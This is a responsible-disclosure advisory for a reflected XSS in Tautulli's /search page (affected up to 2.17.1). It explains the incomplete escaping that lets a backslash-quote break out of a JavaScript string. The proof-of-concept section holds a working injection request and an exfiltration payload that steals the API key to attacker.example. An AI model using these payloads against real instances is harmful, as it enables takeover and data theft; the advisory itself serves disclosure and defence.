Tautulli: Reflected XSS in /search via incomplete query-parameter escaping

The /search query parameter is incompletely escaped, so a backslash-quote breaks out of the JavaScript string and executes arbitrary code in Tautulli's origin from a single link.

Advisory ID: TP-2026-020
Product: Tautulli (monitoring and tracking tool for Plex Media Server)
Vulnerability type: Reflected cross-site scripting (CWE-79)
CVE: CVE-2026-45381
CVSS 3.1: 7.4 (High) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Affected versions: <= 2.17.1
Fixed in: 2.17.2
Vendor advisory: GHSA-mjvc-6cc2-6ffr
Reported: 12 June 2026

Summary

Tautulli is a monitoring and tracking tool for Plex Media Server. The /search page reflects the user-supplied query parameter into an inline <script> block, where the value passes through a hand-written escape that replaces only the double-quote and the forward-slash. The backslash is not escaped, so an injected backslash-quote sequence closes the JavaScript string literal and moves into statement context; a trailing <!-- discards the rest of the line and keeps the script syntactically valid. Tautulli serves no Content-Security-Policy, and the default configuration sets no password, so /search is reachable anonymously. A crafted GET /search?query=... link therefore executes arbitrary JavaScript in Tautulli's origin, reads the permanent API key, and drives the full /api/v2 administrative interface. turingpoint verified the flow and reported it responsibly; the vendor fixed it in 2.17.2.

Root cause

The sink at data/interfaces/default/search.html:31 renders var query_string = "${query.replace('"','\\"').replace('/','\\/') | n}";, inlining the request value into a JavaScript string with Mako's no-escape filter (| n). The query parameter reaches the sink unmodified from the WebInterface.search handler (plexpy/webserve.py:5156). The escape replaces the double-quote and the forward-slash but omits the backslash: input \" becomes \\", a literal backslash followed by an unescaped string terminator, and breaks into statement context. The forward-slash filter blocks // comments and </script>, but <!-- is a valid single-line JavaScript comment and neutralizes the trailing template text. The default config disables the CherryPy auth tool unless a password is set (plexpy/webauth.py:295), so a stock instance serves /search to anonymous clients.

Proof of Concept

As an anonymous client (decoded payload: \";window.XSSPOC=1;<!--):

GET /search?query=%5C%22%3Bwindow.XSSPOC%3D1%3B%3C%21-- HTTP/1.1
Host: 127.0.0.1:8181

The response inlines the payload into the script without escaping the backslash:

var query_string = "\\";window.XSSPOC=1;<!--";

Loading the URL in a browser runs the injected statement on page load (window.XSSPOC === 1), with no click and no CSP. An exfiltration payload then reads the API key that /settings renders into the DOM:

query=\";fetch('settings').then(r=>r.text()).then(t=>new Image().src='//attacker.example/?k='+t.match(/id="api_key" value="(\w+)"/)[1]);<!--

Impact

  • Arbitrary JavaScript execution in Tautulli's origin from a single crafted GET link.
  • Disclosure of the permanent, non-expiring API key, which grants the full /api/v2 administrative interface from any host.
  • Read access to Plex watch-history and user data through the UI and API.
  • Anonymous and zero-configuration in a stock install; with authentication enabled, one click by any logged-in user.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.